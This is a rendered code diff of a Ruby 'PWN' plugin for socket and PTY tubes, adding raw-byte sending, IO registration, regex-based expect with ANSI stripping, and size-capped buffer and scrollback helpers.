lines.join("\n")
|
|
194
198
|
end
|
|
@@ -3,6 +3,7 @@
|
|
|
3
3
|
require 'pty'
|
|
4
4
|
require 'timeout'
|
|
5
5
|
require 'socket'
|
|
6
|
+
require 'securerandom'
|
|
6
7
|
|
|
7
8
|
module PWN
|
|
8
9
|
module Plugins
|
|
@@ -32,7 +33,7 @@ module PWN
|
|
|
32
33
|
|
|
33
34
|
sock = TCPSocket.new(host, port)
|
|
34
35
|
id = "sock_#{sock.object_id}"
|
|
35
|
-
@tubes[id] = { r: sock, w: sock, pid: nil, buf: +'' }
|
|
36
|
+
@tubes[id] = { r: sock, w: sock, pid: nil, buf: +'', scrollback: +'', started_at: Time.now, last_io: Time.now }
|
|
36
37
|
{ id: id, host: host, port: port }
|
|
37
38
|
end
|
|
38
39
|
|
|
@@ -58,10 +59,11 @@ module PWN
|
|
|
58
59
|
timeout = (opts[:timeout] || 5).to_f
|
|
59
60
|
Timeout.timeout(timeout) do
|
|
60
61
|
loop do
|
|
61
|
-
|
|
62
|
+
idx = t[:buf].index(needle)
|
|
63
|
+
return consume_buf(tube: t, bytes: idx + needle.bytesize) if idx
|
|
62
64
|
|
|
63
65
|
ch = t[:r].read_nonblock(4_096)
|
|
64
|
-
t
|
|
66
|
+
append_buf(tube: t, data: ch)
|
|
65
67
|
rescue IO::WaitReadable
|
|
66
68
|
t[:r].wait_readable(0.2)
|
|
67
69
|
retry
|
|
@@ -86,10 +88,54 @@ module PWN
|
|
|
86
88
|
false
|
|
87
89
|
end
|
|
88
90
|
|
|
91
|
+
public_class_method def self.send_raw(opts = {})
|
|
92
|
+
t = tube!(opts)
|
|
93
|
+
bytes = opts[:bytes] || opts[:data]
|
|
94
|
+
raise ArgumentError, 'bytes is required' if bytes.nil?
|
|
95
|
+
|
|
96
|
+
data = bytes.is_a?(String) ? bytes.b : Array(bytes).pack('C*')
|
|
97
|
+
t[:w].write(data)
|
|
98
|
+
t[:w].flush
|
|
99
|
+
t[:last_io] = Time.now
|
|
100
|
+
note_scrollback(tube: t, data: data)
|
|
101
|
+
{ written: data.bytesize, id: (opts[:id] || opts[:name]).to_s }
|
|
102
|
+
end
|
|
103
|
+
|
|
104
|
+
public_class_method def self.register(opts = {})
|
|
105
|
+
io = opts[:io] || opts[:r]
|
|
106
|
+
raise ArgumentError, 'io is required' unless io
|
|
107
|
+
|
|
108
|
+
id = (opts[:id] || "sock_#{SecureRandom.hex(4)}").to_s
|
|
109
|
+
@tubes[id] = { r: io, w: opts[:w] || io, pid: opts[:pid], buf: +'', scrollback: +'', started_at: Time.now, last_io: Time.now }
|
|
110
|
+
{ id: id }
|
|
111
|
+
end
|
|
112
|
+
|
|
89
113
|
public_class_method def self.expect(opts = {})
|
|
90
|
-
text = recvuntil(opts)
|
|
91
114
|
t = tube!(opts)
|
|
92
|
-
|
|
115
|
+
pattern = opts[:pattern] || opts[:until]
|
|
116
|
+
raise ArgumentError, 'pattern is required' if pattern.nil? || pattern.to_s.empty?
|
|
117
|
+
|
|
118
|
+
timeout = (opts[:timeout] || 5).to_f
|
|
119
|
+
Timeout.timeout(timeout) do
|
|
120
|
+
loop do
|
|
121
|
+
hay = t[:buf].to_s
|
|
122
|
+
hay = hay.gsub(/\e\[[0-9;]*[A-Za-z]/, '') if opts[:strip_ansi]
|
|
123
|
+
if pattern.is_a?(Regexp)
|
|
124
|
+
if (m = hay.match(pattern))
|
|
125
|
+
consume_buf(tube: t, bytes: m.end(0))
|
|
126
|
+
return { matched: m[0], offset: m.begin(0), id: (opts[:id] || opts[:name]).to_s }
|
|
127
|
+
end
|
|
128
|
+
elsif (idx = hay.index(pattern.to_s))
|
|
129
|
+
take = consume_buf(tube: t, bytes: idx + pattern.to_s.bytesize)
|
|
130
|
+
return { matched: take, offset: idx, id: (opts[:id] || opts[:name]).to_s }
|
|
131
|
+
end
|
|
132
|
+
ch = t[:r].read_nonblock(4_096)
|
|
133
|
+
append_buf(tube: t, data: ch)
|
|
134
|
+
rescue IO::WaitReadable
|
|
135
|
+
t[:r].wait_readable(0.2)
|
|
136
|
+
retry
|
|
137
|
+
end
|
|
138
|
+
end
|
|
93
139
|
end
|
|
94
140
|
|
|
95
141
|
public_class_method def self.stream(opts = {})
|
|
@@ -183,11 +229,31 @@ module PWN
|
|
|
183
229
|
id: 'optional - id value consumed by #close'
|
|
184
230
|
)
|
|
185
231
|
|
|
186
|
-
# Expect a
|
|
232
|
+
# Expect a regex or substring, optionally stripping ANSI.
|
|
187
233
|
#{self}.expect(
|
|
188
234
|
id: 'required - tube id from spawn or connect',
|
|
189
|
-
|
|
190
|
-
|
|
235
|
+
name: 'optional - alias for id',
|
|
236
|
+
until: 'optional - substring to wait for',
|
|
237
|
+
pattern: 'optional - regex or string to wait for',
|
|
238
|
+
timeout: 'optional - seconds to wait before giving up',
|
|
239
|
+
strip_ansi: 'optional - true removes CSI sequences before matching'
|
|
240
|
+
)
|
|
241
|
+
|
|
242
|
+
# Write raw bytes without appending a newline.
|
|
243
|
+
#{self}.send_raw(
|
|
244
|
+
id: 'required - tube id from spawn or connect',
|
|
245
|
+
name: 'optional - alias for id',
|
|
246
|
+
bytes: 'required - String or byte Array to write',
|
|
247
|
+
data: 'optional - alias for bytes'
|
|
248
|
+
)
|
|
249
|
+
|
|
250
|
+
# Register an existing IO as a named tube.
|
|
251
|
+
#{self}.register(
|
|
252
|
+
io: 'required - readable/writable IO object',
|
|
253
|
+
r: 'optional - alias for io',
|
|
254
|
+
w: 'optional - write IO when split from r',
|
|
255
|
+
id: 'optional - tube name to assign',
|
|
256
|
+
pid: 'optional - associated process id'
|
|
191
257
|
)
|
|
192
258
|
|
|
193
259
|
# Tail the PTY buffer since a prior offset.
|
|
@@ -225,6 +291,31 @@ module PWN
|
|
|
225
291
|
t
|
|
226
292
|
end
|
|
227
293
|
|
|
294
|
+
BUF_MAX = 1_048_576
|
|
295
|
+
|
|
296
|
+
private_class_method def self.append_buf(opts = {})
|
|
297
|
+
t = opts[:tube]
|
|
298
|
+
t[:buf] << opts[:data].to_s
|
|
299
|
+
t[:buf].slice!(0, t[:buf].bytesize - BUF_MAX) if t[:buf].bytesize > BUF_MAX
|
|
300
|
+
note_scrollback(tube: t, data: opts[:data])
|
|
301
|
+
t[:buf]
|
|
302
|
+
end
|
|
303
|
+
|
|
304
|
+
private_class_method def self.consume_buf(opts = {})
|
|
305
|
+
t = opts[:tube]
|
|
306
|
+
n = opts[:bytes].to_i
|
|
307
|
+
n = t[:buf].bytesize if n > t[:buf].bytesize
|
|
308
|
+
t[:buf].slice!(0, n)
|
|
309
|
+
end
|
|
310
|
+
|
|
311
|
+
private_class_method def self.note_scrollback(opts = {})
|
|
312
|
+
t = opts[:tube]
|
|
313
|
+
return unless t
|
|
314
|
+
|
|
315
|
+
t[:scrollback] = "#{t[:scrollback]}#{opts[:data]}"
|
|
316
|
+
t[:scrollback].slice!(0, t[:scrollback].bytesize - BUF_MAX) if t[:scrollback].bytesize > BUF_MAX
|
|
317
|
+
end
|
|
318
|
+
|
|
228
319
|
private_class_method def self.dump_scrollback(opts = {})
|
|
229
320
|
t = opts[:tube]
|
|
230
321
|
return unless t
|